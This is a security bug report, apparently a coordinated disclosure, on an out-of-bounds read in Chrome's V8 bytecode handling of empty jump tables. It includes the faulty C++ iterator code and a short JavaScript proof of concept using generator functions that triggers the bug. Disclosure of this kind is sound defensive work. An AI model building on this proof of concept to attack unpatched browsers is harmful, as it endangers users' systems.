Chrome: V8: Empty BytecodeJumpTable may lead to OOB read In the current implementation, the bytecode generator also emits empty jump tables. <a href="https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89</a> So the bytecode for the example code would be generated as follows: Code: function* opt() { for (;;) if (true) { } else { yield; // never richs, never hits BindJumpTableEntry } } Bytecode: ... 0x35dda532a2a5 @ 75 : 90 04 01 01 SwitchOnSmiNoFeedback [4], [1], [1] { } <<--- SIZE: 1, but EMPTY ... Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table. void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() { if (table_offset_ >= table_end_) return; current_ = accessor_->GetConstantAtIndex(table_offset_); Isolate* isolate = accessor_->bytecode_array()->GetIsolate(); while (current_->IsTheHole(isolate)) { ++table_offset_; ++index_; current_ = accessor_->GetConstantAtIndex(table_offset_); } } If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur. PoC: function* opt() { for (;;) if (true) { } else { yield; } for (;;) if (true) { } else { yield; yield; yield; yield; yield; yield; yield; yield; } } for (let i = 0; i < 100000; i++) opt(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt